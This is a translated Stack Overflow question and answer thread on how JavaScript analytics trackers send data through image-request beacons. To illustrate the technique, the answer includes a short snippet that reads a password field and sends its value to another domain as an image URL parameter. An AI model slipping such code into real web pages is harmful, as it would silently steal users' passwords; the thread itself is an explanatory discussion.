【问题标题】:Anyone knows how Javascript Web Analytics tracker works?有人知道 Javascript Web Analytics 跟踪器是如何工作的吗?
【发布时间】:2012-06-15 07:44:48
【问题描述】:

有人知道 Google Analytics 或 Clicky 的工作原理吗?

我坚持搜索整个http://static.getclicky.com/js 文件,但没有在其中找到任何服务器请求。它如何在不影响自身安全的情况下发送数据?否则用户可以通过修改js发送虚假数据。

【问题讨论】:

    标签: javascript google-analytics web-analytics tracker


    【解决方案1】:

    图像:这些库使用一种技巧,将所需的所有跟踪信息编码,将其附加到图像 URL,然后通过请求图像“发送”它。该图像文件名的服务器端解析会解码信息。

    假设您想要从 mydomain.com 发送到 somedomain.com 的密码字段:

    <input type='password' id='p' />

    此 javascript 可能会违反跨站限制发送内容:

    var t = document.getElementById('p').value;
    var i = document.createElement('img');
    i.src = 'http://somedomain.com/imagescript.php?p=' + t;
    

    跨站点脚本限制不适用于图像,当您在 JavaScript 中编写图像 URL 请求时,世界上没有任何浏览器或逻辑可以解决所有可能性。假设我们很幸运 GA 是合乎道德的并且不会妨碍表单字段。

    【讨论】:

    • 哇,这个不错。但是 i.src 会发生什么?它被丢弃了吗?如果他们必须获取数据,例如用户/浏览器信息/引用 url 的 IP 地址等,是在 php 文件中完成还是通过 javascript 完成?
    • 某些信息(浏览器代理、IP 地址、可能是引用 URL)是从 HTTP 标头中被动收集的。其他信息,如页面标题,编码在图像 URL 中,服务器端处理对其进行解码。
    • 非常感谢您的回答。但是为什么这么多编码只是为了发送一堆变量呢?我无法真正弄清楚它是什么,但我猜数据在发送之前已经过编码以避免欺诈性条目。
    • JS 代码中没有任何内容可以防止欺诈输入。大多数可点击的代码都涉及专业化,例如内容类型和收入目标之间的区别。
    • '当你用 JavaScript 编写图像 URL 请求时,“世界上没有任何浏览器或逻辑可以解释所有可能性。” - 这到底是什么意思?
    猜你喜欢
    • 2023-01-23
    • 2016-01-08
    • 2016-03-14
    • 1970-01-01
    • 2014-05-06
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多